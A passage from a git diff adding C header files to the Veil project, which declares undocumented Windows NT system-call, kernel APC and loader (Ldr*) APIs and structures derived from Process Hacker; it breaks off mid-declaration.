_In_ ULONG OutputLength, + _In_ NTSTATUS Status +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +VOID +NTAPI +NtFlushProcessWriteBuffers( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +ZwFlushProcessWriteBuffers( + VOID +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtYieldExecution( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwYieldExecution( + VOID +); + + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +KeAddSystemServiceTable( + _In_ PULONG_PTR Base, + _In_opt_ PULONG Count, + _In_ ULONG Limit, + _In_ PUCHAR Number, + _In_ ULONG Index +); + +// Thread + +typedef enum _KAPC_ENVIRONMENT +{ + OriginalApcEnvironment, + AttachedApcEnvironment, + CurrentApcEnvironment, + InsertApcEnvironment +} KAPC_ENVIRONMENT; + +typedef +VOID +(*PKNORMAL_ROUTINE) ( + IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2 + ); + +typedef +VOID +(*PKKERNEL_ROUTINE) ( + IN struct _KAPC* Apc, + IN OUT PKNORMAL_ROUTINE* NormalRoutine, + IN OUT PVOID* NormalContext, + IN OUT PVOID* SystemArgument1, + IN OUT PVOID* SystemArgument2 + ); + +typedef +VOID +(*PKRUNDOWN_ROUTINE) ( + IN struct _KAPC* Apc + ); + +typedef +BOOLEAN +(*PKSYNCHRONIZE_ROUTINE) ( + IN PVOID SynchronizeContext + ); + +typedef +BOOLEAN +(*PKTRANSFER_ROUTINE) ( + VOID + ); + +NTSYSAPI +VOID +NTAPI +KeInitializeApc( + _Out_ PRKAPC aApc, + _In_ PRKTHREAD aThread, + _In_ KAPC_ENVIRONMENT aEnvironment, + _In_ PKKERNEL_ROUTINE aKernelRoutine, + _In_opt_ PKRUNDOWN_ROUTINE aRundownRoutine, + _In_opt_ PKNORMAL_ROUTINE aNormalRoutine, + _In_opt_ KPROCESSOR_MODE aProcessorMode, + _In_opt_ PVOID aNormalContext +); + +NTSYSAPI +BOOLEAN +NTAPI +KeInsertQueueApc( + _Inout_ PRKAPC aApc, + _In_opt_ PVOID aSystemArgument1, + _In_opt_ PVOID aSystemArgument2, + _In_ KPRIORITY aIncrement +); + +NTSYSAPI +BOOLEAN +NTAPI +KeRemoveQueueApc( + _In_ PKAPC Apc +); + +NTSYSAPI +BOOLEAN +NTAPI +KeTestAlertThread( + _In_ KPROCESSOR_MODE AlertMode +); + +// Processor + +NTSYSAPI +VOID +NTAPI +KeGenericCallDpc( + _In_ PKDEFERRED_ROUTINE Routine, + _In_ PVOID Context +); + +NTSYSAPI +VOID +NTAPI +KeSignalCallDpcDone( + _In_ PVOID SystemArgument1 +); + +NTSYSAPI +LOGICAL +NTAPI +KeSignalCallDpcSynchronize( + _In_ PVOID SystemArgument2 +); + + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Loader.h b/include/Veil/Veil/Veil.System.Loader.h new file mode 100644 index 0000000..a11204d --- /dev/null +++ b/include/Veil/Veil/Veil.System.Loader.h @@ -0,0 +1,1111 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// DLLs +// + +typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( + _In_ PVOID DllHandle, + _In_ ULONG Reason, + _In_opt_ PVOID Context + ); + +// symbols +typedef struct _LDR_SERVICE_TAG_RECORD +{ + struct _LDR_SERVICE_TAG_RECORD* Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD, * PLDR_SERVICE_TAG_RECORD; + +// symbols +typedef struct _LDRP_CSLIST +{ + PSINGLE_LIST_ENTRY Tail; +} LDRP_CSLIST, * PLDRP_CSLIST; + +// symbols +typedef enum _LDR_DDAG_STATE +{ + LdrModulesMerged = -5, + LdrModulesInitError = -4, + LdrModulesSnapError = -3, + LdrModulesUnloaded = -2, + LdrModulesUnloading = -1, + LdrModulesPlaceHolder = 0, + LdrModulesMapping = 1, + LdrModulesMapped = 2, + LdrModulesWaitingForDependencies = 3, + LdrModulesSnapping = 4, + LdrModulesSnapped = 5, + LdrModulesCondensed = 6, + LdrModulesReadyToInit = 7, + LdrModulesInitializing = 8, + LdrModulesReadyToRun = 9 +} LDR_DDAG_STATE; + +// symbols +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; + PLDR_SERVICE_TAG_RECORD ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST Dependencies; + SINGLE_LIST_ENTRY RemovalLink; + }; + LDRP_CSLIST IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE, * PLDR_DDAG_NODE; + +// rev +typedef struct _LDR_DEPENDENCY_RECORD +{ + SINGLE_LIST_ENTRY DependencyLink; + PLDR_DDAG_NODE DependencyNode; + SINGLE_LIST_ENTRY IncomingDependencyLink; + PLDR_DDAG_NODE IncomingDependencyNode; +} LDR_DEPENDENCY_RECORD, * PLDR_DEPENDENCY_RECORD; + +// symbols +typedef enum _LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, // since REDSTONE3 + LoadReasonEnclaveDependency, + LoadReasonPatchImage, // since WIN11 + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, * PLDR_DLL_LOAD_REASON; + +typedef enum _LDR_HOT_PATCH_STATE +{ + LdrHotPatchBaseImage, + LdrHotPatchNotApplied, + LdrHotPatchAppliedReverse, + LdrHotPatchAppliedForward, + LdrHotPatchFailedToPatch, + LdrHotPatchStateMax, +} LDR_HOT_PATCH_STATE, * PLDR_HOT_PATCH_STATE; + +#define LDRP_PACKAGED_BINARY 0x00000001 +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 // Vista and below +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_DONT_RELOCATE 0x00800000 // LDR_COR_OWNS_UNMAP +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, DdagNode) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, BaseNameHashValue) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, ImplicitPathOptions) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN10 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, SigningLevel) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN11 sizeof(LDR_DATA_TABLE_ENTRY) + +// symbols +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + }; + PVOID DllBase; + PLDR_INIT_ROUTINE EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ChpeImage : 1; + ULONG ChpeEmulatorImage : 1; + ULONG ReservedFlags5 : 1; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + }; + }; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + ULONG TimeDateStamp; + struct _ACTIVATION_CONTEXT* EntryPointActivationContext; + PVOID Lock; // RtlAcquireSRWLockExclusive + PLDR_DDAG_NODE DdagNode; + LIST_ENTRY NodeModuleLink; + struct _LDRP_LOAD_CONTEXT* LoadContext; + PVOID ParentDllBase; + PVOID SwitchBackContext; + RTL_BALANCED_NODE BaseAddressIndexNode; + RTL_BALANCED_NODE MappingInfoIndexNode; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; + ULONG ImplicitPathOptions; + ULONG ReferenceCount; + ULONG DependentLoadFlags; + UCHAR SigningLevel; // since REDSTONE2 + ULONG CheckSum; // since 22H1 + PVOID ActivePatchImageBase; + LDR_HOT_PATCH_STATE HotPatchState; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +#define LDR_IS_DATAFILE(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)1) +#define LDR_IS_IMAGEMAPPING(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)2) +#define LDR_MAPPEDVIEW_TO_DATAFILE(BaseAddress) ((PVOID)(((ULONG_PTR)(BaseAddress)) | (ULONG_PTR)1)) +#define LDR_MAPPEDVIEW_TO_IMAGEMAPPING(BaseAddress) ((PVOID)(((ULONG_PTR)(BaseAddress)) | (ULONG_PTR)2)) +#define LDR_DATAFILE_TO_MAPPEDVIEW(DllHandle) ((PVOID)(((ULONG_PTR)(DllHandle)) & ~(ULONG_PTR)1)) +#define LDR_IMAGEMAPPING_TO_MAPPEDVIEW(DllHandle) ((PVOID)(((ULONG_PTR)(DllHandle)) & ~(ULONG_PTR)2)) +#define LDR_IS_RESOURCE(DllHandle) (LDR_IS_IMAGEMAPPING(DllHandle) || LDR_IS_DATAFILE(DllHandle)) + +#ifndef _KERNEL_MODE +NTSYSAPI +VOID +NTAPI +LdrInitializeThunk( + _In_ PCONTEXT ContextRecord, + _In_ PVOID Parameter +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID* DllHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnloadDll( + _In_ PVOID DllHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID* DllHandle +); + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleEx( + _In_ ULONG Flags, + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_opt_ PVOID* DllHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + _In_ PVOID BaseAddress, + _Out_ PVOID* DllHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByName( + _In_opt_ PUNICODE_STRING BaseDllName, + _In_opt_ PUNICODE_STRING FullDllName, + _Out_ PVOID* DllHandle +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllFullName( + _In_ PVOID DllHandle, + _Out_ PUNICODE_STRING FullDllName +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllDirectory( + _Out_ PUNICODE_STRING DllDirectory +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDllDirectory( + _In_ PUNICODE_STRING DllDirectory +); +#endif + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrAddRefDll( + _In_ ULONG Flags, + _In_ PVOID DllHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress +); + +// rev +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress, + _In_ ULONG Flags +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetKnownDllSectionHandle( + _In_ PCWSTR DllName, + _In_ BOOLEAN KnownDlls32, + _Out_ PHANDLE Section +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressForCaller( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress, + _In_ ULONG Flags, + _In_ PVOID* Callback +); +#endif + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +NTSYSAPI +NTSTATUS +NTAPI +LdrLockLoaderLock( + _In_ ULONG Flags, + _Out_opt_ ULONG* Disposition, + _Out_ PVOID* Cookie +); + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnlockLoaderLock( + _In_ ULONG Flags, + _Inout_ PVOID Cookie +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImage( + _In_ PVOID NewBase, + _In_opt_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + _In_ PVOID NewBase, + _In_opt_ LONGLONG Bias, + _In_opt_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid +); + +NTSYSAPI +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + _In_ ULONG_PTR VA, + _In_ ULONG SizeOfBlock, + _In_ PUSHORT NextOffset, + _In_ LONG_PTR Diff +); + +NTSYSAPI +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + _In_ PVOID BaseAddress, + _In_ SIZE_T NumberOfBytes, + _In_ ULONG FileLength +); + +typedef VOID(NTAPI* PLDR_IMPORT_MODULE_CALLBACK)( + _In_ PVOID Parameter, + _In_ PSTR ModuleName + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksum( + _In_ HANDLE ImageFileHandle, + _In_opt_ PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine, + _In_ PVOID ImportCallbackParameter, + _Out_opt_ PUSHORT ImageCharacteristics +); + +// private +typedef struct _LDR_IMPORT_CALLBACK_INFO +{ + PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine; + PVOID ImportCallbackParameter; +} LDR_IMPORT_CALLBACK_INFO, * PLDR_IMPORT_CALLBACK_INFO; + +// private +typedef struct _LDR_SECTION_INFO +{ + HANDLE SectionHandle; + ACCESS_MASK DesiredAccess; + POBJECT_ATTRIBUTES ObjA; + ULONG SectionPageProtection; + ULONG AllocationAttributes; +} LDR_SECTION_INFO, * PLDR_SECTION_INFO; + +// private +typedef struct _LDR_VERIFY_IMAGE_INFO +{ + ULONG Size; + ULONG Flags; + LDR_IMPORT_CALLBACK_INFO CallbackInfo; + LDR_SECTION_INFO SectionInfo; + USHORT ImageCharacteristics; +} LDR_VERIFY_IMAGE_INFO, * PLDR_VERIFY_IMAGE_INFO; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksumEx( + _In_ HANDLE ImageFileHandle, + _Inout_ PLDR_VERIFY_IMAGE_INFO VerifyInfo +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + _In_ PVOID DllHandle, + _Out_writes_(*BufferSize) PULONG ServiceTagBuffer, + _Inout_ PULONG BufferSize +); +#endif + +// begin_msdn:"DLL Load Notification" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID(NTAPI* PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context + ); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_opt_ PVOID Context, + _Out_ PVOID* Cookie +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + _In_ PVOID Cookie +); +#endif + +// end_msdn + +// rev +NTSYSAPI +PUNICODE_STRING +NTAPI +LdrStandardizeSystemPath( + _In_ PUNICODE_STRING SystemPath +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +typedef struct _LDR_FAILURE_DATA +{ + NTSTATUS Status; + WCHAR DllName[0x20]; + WCHAR AdditionalInfo[0x20]; +} LDR_FAILURE_DATA, * PLDR_FAILURE_DATA; + +NTSYSAPI +PLDR_FAILURE_DATA +NTAPI +LdrGetFailureData( + VOID +); +#endif + +// private +typedef struct _PS_MITIGATION_OPTIONS_MAP +{ + ULONG_PTR Map[3]; // 2 < 20H1 +} PS_MITIGATION_OPTIONS_MAP, * PPS_MITIGATION_OPTIONS_MAP; + +// private +typedef struct _PS_MITIGATION_AUDIT_OPTIONS_MAP +{ + ULONG_PTR Map[3]; // 2 < 20H1 +} PS_MITIGATION_AUDIT_OPTIONS_MAP, * PPS_MITIGATION_AUDIT_OPTIONS_MAP; + +// private +typedef struct _PS_SYSTEM_DLL_INIT_BLOCK +{ + ULONG Size; + ULONG_PTR SystemDllWowRelocation; + ULONG_PTR SystemDllNativeRelocation; + ULONG_PTR Wow64SharedInformation[16]; + ULONG RngData; + union + { + ULONG Flags; + struct + { + ULONG CfgOverride : 1; + ULONG Reserved : 31; + }; + }; + PS_MITIGATION_OPTIONS_MAP MitigationOptionsMap; + ULONG_PTR CfgBitMap; + ULONG_PTR CfgBitMapSize; + ULONG_PTR Wow64CfgBitMap; + ULONG_PTR Wow64CfgBitMapSize; + PS_MITIGATION_AUDIT_OPTIONS_MAP MitigationAuditOptionsMap; // REDSTONE3 +} PS_SYSTEM_DLL_INIT_BLOCK, * PPS_SYSTEM_DLL_INIT_BLOCK; + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +// rev +NTSYSAPI PS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock; +#endif +#endif // _KERNEL_MODE + +// +// Load as data table +// + +#ifndef _KERNEL_MODE +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrAddLoadAsDataTable( + _In_ PVOID Module, + _In_ PWSTR FilePath, + _In_ SIZE_T Size, + _In_ HANDLE Handle +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrRemoveLoadAsDataTable( + _In_ PVOID InitModule, + _Out_opt_ PVOID* BaseModule, + _Out_opt_ PSIZE_T Size, + _In_ ULONG Flags +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrGetFileNameFromLoadAsDataTable( + _In_ PVOID Module, + _Out_ PVOID* pFileNamePrt +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll( + _In_ PVOID DllImageBase +); +#endif // _KERNEL_MODE + +// +// Resources +// + +NTSYSAPI +NTSTATUS +NTAPI +LdrAccessResource( + _In_ PVOID DllHandle, + _In_ PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry, + _Out_opt_ PVOID* ResourceBuffer, + _Out_opt_ ULONG* ResourceLength +); + +typedef struct _LDR_RESOURCE_INFO +{ + ULONG_PTR Type; + ULONG_PTR Name; + ULONG_PTR Language; +} LDR_RESOURCE_INFO, * PLDR_RESOURCE_INFO; + +#define RESOURCE_TYPE_LEVEL 0 +#define RESOURCE_NAME_LEVEL 1 +#define RESOURCE_LANGUAGE_LEVEL 2 +#define RESOURCE_DATA_LEVEL 3 + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceEx_U( + _In_ ULONG Flags, + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceDirectory_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DIRECTORY* ResourceDirectory +); + +// private +typedef struct _LDR_ENUM_RESOURCE_ENTRY +{ + union + { + ULONG_PTR NameOrId; + PIMAGE_RESOURCE_DIRECTORY_STRING Name; + struct + { + USHORT Id; + USHORT NameIsPresent; + }; + } Path[3]; + PVOID Data; + ULONG Size; + ULONG Reserved; +} LDR_ENUM_RESOURCE_ENTRY, * PLDR_ENUM_RESOURCE_ENTRY; + +#define NAME_FROM_RESOURCE_ENTRY(RootDirectory, Entry) \ + ((Entry)->NameIsString ? (ULONG_PTR)PTR_ADD_OFFSET((RootDirectory), (Entry)->NameOffset) : (Entry)->Id) + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumResources( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Inout_ ULONG* ResourceCount, + _Out_writes_to_opt_(*ResourceCount, *ResourceCount) PLDR_ENUM_RESOURCE_ENTRY Resources +); + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + _In_ PVOID DllHandle, + _Out_ PLDR_DATA_TABLE_ENTRY* Entry +); + +// rev - Win10 type +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadAlternateResourceModule( + _In_ PVOID DllHandle, + _Out_ PVOID* ResourceDllBase, + _Out_opt_ ULONG_PTR* ResourceOffset, + _In_ ULONG Flags +); + +// rev - Win10 type +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadAlternateResourceModuleEx( + _In_ PVOID DllHandle, + _In_ LANGID LanguageId, + _Out_ PVOID* ResourceDllBase, + _Out_opt_ ULONG_PTR* ResourceOffset, + _In_ ULONG Flags +); +#endif // _KERNEL_MODE + +// +// Module information +// + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +// private +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, * PRTL_PROCESS_MODULE_INFORMATION_EX; + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + _In_opt_ PRTL_PROCESS_MODULES ModuleInformation, + _In_opt_ ULONG Size, + _Out_ PULONG ReturnedSize +); + +typedef VOID(NTAPI* PLDR_ENUM_CALLBACK)( + _In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, + _In_ PVOID Parameter, + _Out_ BOOLEAN* Stop + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumerateLoadedModules( + _In_ BOOLEAN ReservedFlag, + _In_ PLDR_ENUM_CALLBACK EnumProc, + _In_ PVOID Context +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrOpenImageFileOptionsKey( + _In_ PUNICODE_STRING SubKey, + _In_ BOOLEAN Wow64, + _Out_ PHANDLE NewKeyHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR ValueName, + _In_ ULONG 